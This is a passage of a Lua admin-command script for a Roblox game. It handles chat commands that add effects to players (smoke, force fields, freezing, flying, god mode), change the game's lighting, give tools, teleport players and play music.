  1899. if msg:lower():sub(1,6) == "smoke " then
  1900. local plrz = GetPlr(plr, msg:lower():sub(7))
  1901. for i, v in pairs(plrz) do
  1902. coroutine.resume(coroutine.create(function()
  1903. if v and v.Character and v.Character:findFirstChild("Torso") then
  1904. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1905. end
  1906. end))
  1907. end
  1908. end
  1909.  
  1910. if msg:lower():sub(1,8) == "unsmoke " then
  1911. local plrz = GetPlr(plr, msg:lower():sub(9))
  1912. for i, v in pairs(plrz) do
  1913. coroutine.resume(coroutine.create(function()
  1914. if v and v.Character and v.Character:findFirstChild("Torso") then
  1915. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1916. end
  1917. end))
  1918. end
  1919. end
  1920.  
  1921. if msg:lower():sub(1,9) == "sparkles " then
  1922. local plrz = GetPlr(plr, msg:lower():sub(10))
  1923. for i, v in pairs(plrz) do
  1924. coroutine.resume(coroutine.create(function()
  1925. if v and v.Character and v.Character:findFirstChild("Torso") then
  1926. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1927. end
  1928. end))
  1929. end
  1930. end
  1931.  
  1932. if msg:lower():sub(1,11) == "unsparkles " then
  1933. local plrz = GetPlr(plr, msg:lower():sub(12))
  1934. for i, v in pairs(plrz) do
  1935. coroutine.resume(coroutine.create(function()
  1936. if v and v.Character and v.Character:findFirstChild("Torso") then
  1937. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1938. end
  1939. end))
  1940. end
  1941. end
  1942.  
  1943. if msg:lower():sub(1,3) == "ff " then
  1944. local plrz = GetPlr(plr, msg:lower():sub(4))
  1945. for i, v in pairs(plrz) do
  1946. coroutine.resume(coroutine.create(function()
  1947. if v and v.Character then Instance.new("ForceField", v.Character) end
  1948. end))
  1949. end
  1950. end
  1951.  
  1952. if msg:lower():sub(1,5) == "unff " then
  1953. local plrz = GetPlr(plr, msg:lower():sub(6))
  1954. for i, v in pairs(plrz) do
  1955. coroutine.resume(coroutine.create(function()
  1956. if v and v.Character then
  1957. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1958. end
  1959. end))
  1960. end
  1961. end
  1962.  
  1963. if msg:lower():sub(1,7) == "punish " then
  1964. local plrz = GetPlr(plr, msg:lower():sub(8))
  1965. for i, v in pairs(plrz) do
  1966. coroutine.resume(coroutine.create(function()
  1967. if v and v.Character then
  1968. v.Character.Parent = game:service("Lighting")
  1969. end
  1970. end))
  1971. end
  1972. end
  1973.  
  1974. if msg:lower():sub(1,9) == "unpunish " then
  1975. local plrz = GetPlr(plr, msg:lower():sub(10))
  1976. for i, v in pairs(plrz) do
  1977. coroutine.resume(coroutine.create(function()
  1978. if v and v.Character then
  1979. v.Character.Parent = game:service("Workspace")
  1980. v.Character:MakeJoints()
  1981. end
  1982. end))
  1983. end
  1984. end
  1985.  
  1986. if msg:lower():sub(1,7) == "freeze " then
  1987. local plrz = GetPlr(plr, msg:lower():sub(8))
  1988. for i, v in pairs(plrz) do
  1989. coroutine.resume(coroutine.create(function()
  1990. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1991. for a, obj in pairs(v.Character:children()) do
  1992. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1993. end
  1994. end
  1995. end))
  1996. end
  1997. end
  1998.  
  1999. if msg:lower():sub(1,5) == "thaw " then
  2000. local plrz = GetPlr(plr, msg:lower():sub(6))
  2001. for i, v in pairs(plrz) do
  2002. coroutine.resume(coroutine.create(function()
  2003. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2004. for a, obj in pairs(v.Character:children()) do
  2005. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  2006. end
  2007. end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. if msg:lower():sub(1,5) == "heal " then
  2013. local plrz = GetPlr(plr, msg:lower():sub(6))
  2014. for i, v in pairs(plrz) do
  2015. coroutine.resume(coroutine.create(function()
  2016. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2017. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2018. end
  2019. end))
  2020. end
  2021. end
  2022.  
  2023. if msg:lower():sub(1,4) == "god " then
  2024. local plrz = GetPlr(plr, msg:lower():sub(5))
  2025. for i, v in pairs(plrz) do
  2026. coroutine.resume(coroutine.create(function()
  2027. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2028. v.Character.Humanoid.MaxHealth = math.huge
  2029. v.Character.Humanoid.Health = 9e9
  2030. end
  2031. end))
  2032. end
  2033. end
  2034.  
  2035. if msg:lower():sub(1,6) == "ungod " then
  2036. local plrz = GetPlr(plr, msg:lower():sub(7))
  2037. for i, v in pairs(plrz) do
  2038. coroutine.resume(coroutine.create(function()
  2039. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2040. v.Character.Humanoid.MaxHealth = 100
  2041. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2042. end
  2043. end))
  2044. end
  2045. end
  2046.  
  2047. if msg:lower():sub(1,8) == "ambient " then
  2048. local chk1 = msg:lower():sub(9):find(" ") + 8
  2049. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  2050. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  2051. end
  2052.  
  2053. if msg:lower():sub(1,11) == "brightness " then
  2054. game.Lighting.Brightness = msg:sub(12)
  2055. end
  2056.  
  2057. if msg:lower():sub(1,5) == "time " then
  2058. game.Lighting.TimeOfDay = msg:sub(6)
  2059. end
  2060.  
  2061. if msg:lower():sub(1,9) == "fogcolor " then
  2062. local chk1 = msg:lower():sub(10):find(" ") + 9
  2063. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  2064. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  2065. end
  2066.  
  2067. if msg:lower():sub(1,7) == "fogend " then
  2068. game.Lighting.FogEnd = msg:sub(8)
  2069. end
  2070.  
  2071. if msg:lower():sub(1,9) == "fogstart " then
  2072. game.Lighting.FogStart = msg:sub(10)
  2073. end
  2074.  
  2075. if msg:lower():sub(1,7) == "btools " then
  2076. local plrz = GetPlr(plr, msg:lower():sub(8))
  2077. for i, v in pairs(plrz) do
  2078. coroutine.resume(coroutine.create(function()
  2079. if v and v:findFirstChild("Backpack") then
  2080. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  2081. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  2082. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  2083. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  2084. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  2085. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  2086. local sb
  2087. local hs
  2088. local pdist
  2089.  
  2090. script.Parent.Selected:connect(function(mouse)
  2091. if not mouse then return end
  2092. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  2093. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  2094. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  2095. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  2096. hs.MouseButton1Down:connect(function() pdist = 0 end)
  2097. end)
  2098.  
  2099. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  2100. end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,5) == "give " then
  2106. local chk1 = msg:lower():sub(6):find(" ") + 5
  2107. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2108. for i, v in pairs(plrz) do
  2109. coroutine.resume(coroutine.create(function()
  2110. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  2111. for a, tool in pairs(game.Lighting:children()) do
  2112. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  2113. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  2114. end
  2115. end
  2116. end
  2117. end))
  2118. end
  2119. end
  2120.  
  2121. if msg:lower():sub(1,12) == "removetools " then
  2122. local plrz = GetPlr(plr, msg:lower():sub(13))
  2123. for i, v in pairs(plrz) do
  2124. coroutine.resume(coroutine.create(function()
  2125. if v and v.Character and v:findFirstChild("Backpack") then
  2126. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  2127. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  2128. end
  2129. end))
  2130. end
  2131. end
  2132.  
  2133. if msg:lower():sub(1,5) == "rank " then
  2134. local chk1 = msg:lower():sub(6):find(" ") + 5
  2135. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2136. for i, v in pairs(plrz) do
  2137. coroutine.resume(coroutine.create(function()
  2138. if v and v:IsInGroup(msg:sub(chk1+1)) then
  2139. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  2140. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  2141. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  2142. end
  2143. end))
  2144. end
  2145. end
  2146.  
  2147. if msg:lower():sub(1,7) == "damage " then
  2148. local chk1 = msg:lower():sub(8):find(" ") + 7
  2149. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2150. for i, v in pairs(plrz) do
  2151. coroutine.resume(coroutine.create(function()
  2152. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2153. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  2154. end
  2155. end))
  2156. end
  2157. end
  2158.  
  2159. if msg:lower():sub(1,5) == "grav " then
  2160. local plrz = GetPlr(plr, msg:lower():sub(6))
  2161. for i, v in pairs(plrz) do
  2162. coroutine.resume(coroutine.create(function()
  2163. if v and v.Character and v.Character:findFirstChild("Torso") then
  2164. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2165. end
  2166. end))
  2167. end
  2168. end
  2169.  
  2170. if msg:lower():sub(1,8) == "setgrav " then
  2171. local chk1 = msg:lower():sub(9):find(" ") + 8
  2172. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  2173. for i, v in pairs(plrz) do
  2174. coroutine.resume(coroutine.create(function()
  2175. if v and v.Character and v.Character:findFirstChild("Torso") then
  2176. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2177. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2178. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  2179. end
  2180. end))
  2181. end
  2182. end
  2183.  
  2184. if msg:lower():sub(1,7) == "nograv " then
  2185. local plrz = GetPlr(plr, msg:lower():sub(8))
  2186. for i, v in pairs(plrz) do
  2187. coroutine.resume(coroutine.create(function()
  2188. if v and v.Character and v.Character:findFirstChild("Torso") then
  2189. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2190. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2191. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  2192. end
  2193. end))
  2194. end
  2195. end
  2196.  
  2197. if msg:lower():sub(1,7) == "health " then
  2198. local chk1 = msg:lower():sub(8):find(" ") + 7
  2199. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2200. for i, v in pairs(plrz) do
  2201. coroutine.resume(coroutine.create(function()
  2202. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2203. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  2204. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2205. end
  2206. end))
  2207. end
  2208. end
  2209.  
  2210. if msg:lower():sub(1,6) == "speed " then
  2211. local chk1 = msg:lower():sub(7):find(" ") + 6
  2212. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2213. for i, v in pairs(plrz) do
  2214. coroutine.resume(coroutine.create(function()
  2215. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2216. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  2217. end
  2218. end))
  2219. end
  2220. end
  2221.  
  2222. if msg:lower():sub(1,5) == "team " then
  2223. local chk1 = msg:lower():sub(6):find(" ") + 5
  2224. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2225. for i, v in pairs(plrz) do
  2226. coroutine.resume(coroutine.create(function()
  2227. if v and game:findFirstChild("Teams") then
  2228. for a, tm in pairs(game.Teams:children()) do
  2229. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  2230. end
  2231. end
  2232. end))
  2233. end
  2234. end
  2235.  
  2236. if msg:lower():sub(1,6) == "place " then
  2237. local chk1 = msg:lower():sub(7):find(" ") + 6
  2238. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2239. for i, v in pairs(plrz) do
  2240. coroutine.resume(coroutine.create(function()
  2241. if v and v:findFirstChild("PlayerGui") then
  2242. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  2243. end
  2244. end))
  2245. end
  2246. end
  2247.  
  2248. if msg:lower():sub(1,3) == "tp " then
  2249. local chk1 = msg:lower():sub(4):find(" ") + 3
  2250. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2251. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  2252. for i, v in pairs(plrz) do
  2253. coroutine.resume(coroutine.create(function()
  2254. for i2, v2 in pairs(plrz2) do
  2255. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  2256. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  2257. end
  2258. end
  2259. end))
  2260. end
  2261. end
  2262.  
  2263. if msg:lower():sub(1,7) == "change " then
  2264. local chk1 = msg:lower():sub(8):find(" ") + 7
  2265. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  2266. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2267. for i, v in pairs(plrz) do
  2268. coroutine.resume(coroutine.create(function()
  2269. if v and v:findFirstChild("leaderstats") then
  2270. for a, st in pairs(v.leaderstats:children()) do
  2271. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  2272. end
  2273. end
  2274. end))
  2275. end
  2276. end
  2277.  
  2278. if msg:lower():sub(1,6) == "shirt " then
  2279. local chk1 = msg:lower():sub(7):find(" ") + 6
  2280. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2281. for i, v in pairs(plrz) do
  2282. coroutine.resume(coroutine.create(function()
  2283. if v and v.Character then
  2284. for i,v in pairs(v.Character:children()) do
  2285. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2286. end
  2287. end
  2288. end))
  2289. end
  2290. end
  2291.  
  2292. if msg:lower():sub(1,6) == "pants " then
  2293. local chk1 = msg:lower():sub(7):find(" ") + 6
  2294. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2295. for i, v in pairs(plrz) do
  2296. coroutine.resume(coroutine.create(function()
  2297. if v and v.Character then
  2298. for i,v in pairs(v.Character:children()) do
  2299. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2300. end
  2301. end
  2302. end))
  2303. end
  2304. end
  2305.  
  2306. if msg:lower():sub(1,5) == "face " then
  2307. local chk1 = msg:lower():sub(6):find(" ") + 5
  2308. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2309. for i, v in pairs(plrz) do
  2310. coroutine.resume(coroutine.create(function()
  2311. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  2312. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  2313. end
  2314. end))
  2315. end
  2316. end
  2317.  
  2318. ------------------
  2319. -- Fun Commands --
  2320. ------------------
  2321. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2322.  
  2323. if msg:lower():sub(1,8) == "swagify " then
  2324. local plrz = GetPlr(plr, msg:lower():sub(9))
  2325. for i, v in pairs(plrz) do
  2326. coroutine.resume(coroutine.create(function()
  2327. if v and v.Character then
  2328. for i,v in pairs(v.Character:children()) do
  2329. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2330. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2331. end
  2332. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  2333. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  2334. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2335. local torso = plr.Character.Torso
  2336. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2337. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  2338. p.Size = Vector3.new(.2,.2,.2)
  2339. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2340. local motor1 = Instance.new("Motor", p)
  2341. motor1.Part0 = p
  2342. motor1.Part1 = torso
  2343. motor1.MaxVelocity = .01
  2344. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  2345. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2346. local wave = false
  2347. repeat wait(1/44)
  2348. local ang = 0.1
  2349. local oldmag = torso.Velocity.magnitude
  2350. local mv = .002
  2351. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2352. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2353. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2354. motor1.DesiredAngle = -ang
  2355. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2356. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2357. if torso.Velocity.magnitude < .1 then wait(.1) end
  2358. until not p or p.Parent ~= torso.Parent
  2359. script:Destroy()
  2360. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  2361. end
  2362. end))
  2363. end
  2364. end
  2365.  
  2366. if msg:lower():sub(1,6) == "music " then
  2367. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2368. local id = msg:sub(7)
  2369. local pitch = 1
  2370. if tostring(id):lower():find("caramell") then id = 2303479 end
  2371. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  2372. if tostring(id):find("rick") then id = 2027611 end
  2373. if tostring(id):find("halo") then id = 1034065 end
  2374. if tostring(id):find("pokemon") then id = 1372261 end
  2375. if tostring(id):find("cursed") then id = 1372257 end
  2376. if tostring(id):find("extreme") then id = 11420933 end
  2377. if tostring(id):find("awaken") then id = 27697277 end
  2378. if tostring(id):find("alone") then id = 27697392 end
  2379. if tostring(id):find("mario") then id = 1280470 end
  2380. if tostring(id):find("choir") then id = 1372258 end
  2381. if tostring(id):find("chrono") then id = 1280463 end
  2382. if tostring(id):find("dotr") then id = 11420922 end
  2383. if tostring(id):find("entertain") then id = 27697267 end
  2384. if tostring(id):find("fantasy") then id = 1280473 end
  2385. if tostring(id):find("final") then id = 1280414 end
  2386. if tostring(id):find("emblem") then id = 1372259 end
  2387. if tostring(id):find("flight") then id = 27697719 end
  2388. if tostring(id):find("banjo") then id = 27697298 end
  2389. if tostring(id):find("gothic") then id = 27697743 end
  2390. if tostring(id):find("hiphop") then id = 27697735 end
  2391. if tostring(id):find("intro") then id = 27697707 end
  2392. if tostring(id):find("mule") then id = 1077604 end
  2393. if tostring(id):find("film") then id = 27697713 end
  2394. if tostring(id):find("nezz") then id = 8610025 end
  2395. if tostring(id):find("angel") then id = 1372260 end
  2396. if tostring(id):find("resist") then id = 27697234 end
  2397. if tostring(id):find("schala") then id = 5985787 end
  2398. if tostring(id):find("organ") then id = 11231513 end
  2399. if tostring(id):find("tunnel") then id = 9650822 end
  2400. if tostring(id):find("spanish") then id = 5982975 end
  2401. if tostring(id):find("venom") then id = 1372262 end
  2402. if tostring(id):find("wind") then id = 1015394 end
  2403. if tostring(id):find("guitar") then id = 5986151 end
  2404. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  2405. end
  2406.  
  2407. if msg:lower() == "stopmusic" then
  2408. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2409. end
  2410.  
  2411. if msg:lower() == "musiclist" then
  2412. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  2413. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  2414. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  2415. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2416. end
  2417.  
  2418. if msg:lower():sub(1,4) == "fly " then
  2419. local plrz = GetPlr(plr, msg:lower():sub(5))
  2420. for i, v in pairs(plrz) do
  2421. coroutine.resume(coroutine.create(function()
  2422. if v and v:findFirstChild("PlayerGui") then
  2423. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  2424. cl.Parent = v.PlayerGui cl.Disabled = false
  2425. end
  2426. end))
  2427. end
  2428. end
  2429.  
  2430. if msg:lower():sub(1,6) == "unfly " then
  2431. local plrz = GetPlr(plr, msg:lower():sub(7))
  2432. for i, v in pairs(plrz) do
  2433. coroutine.resume(coroutine.create(function()
  2434. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2435. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  2436. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  2437. wait(.1) v.Character.Humanoid.PlatformStand = false
  2438. end
  2439. end))
  2440. end
  2441. end
  2442.  
  2443. if msg:lower() == "disco" then
  2444. for i, v in pairs(lobjs) do v:Destroy() end
  2445. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  2446. game.Lighting.Ambient = color
  2447. game.Lighting.FogColor = color
  2448. until nil]]
  2449. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2450. end
  2451.  
  2452. if msg:lower() == "flash" then
  2453. for i, v in pairs(lobjs) do v:Destroy() end
  2454. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  2455. game.Lighting.Ambient = Color3.new(1,1,1)
  2456. game.Lighting.FogColor = Color3.new(1,1,1)
  2457. game.Lighting.Brightness = 1
  2458. game.Lighting.TimeOfDay = 14
  2459. wait(.1)
  2460. game.Lighting.Ambient = Color3.new(0,0,0)
  2461. game.Lighting.FogColor = Color3.new(0,0,0)
  2462. game.Lighting.Brightness = 0
  2463. game.Lighting.TimeOfDay = 0
  2464. until nil]]
  2465. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2466. end
  2467.  
  2468. if msg:lower():sub(1,5) == "spin " then
  2469. local plrz = GetPlr(plr, msg:lower():sub(6))
  2470. for i, v in pairs(plrz) do
  2471. coroutine.resume(coroutine.create(function()
  2472. if v and v.Character and v.Character:findFirstChild("Torso") then
  2473. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  2474. local torso = v.Character:findFirstChild("Torso")
  2475. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
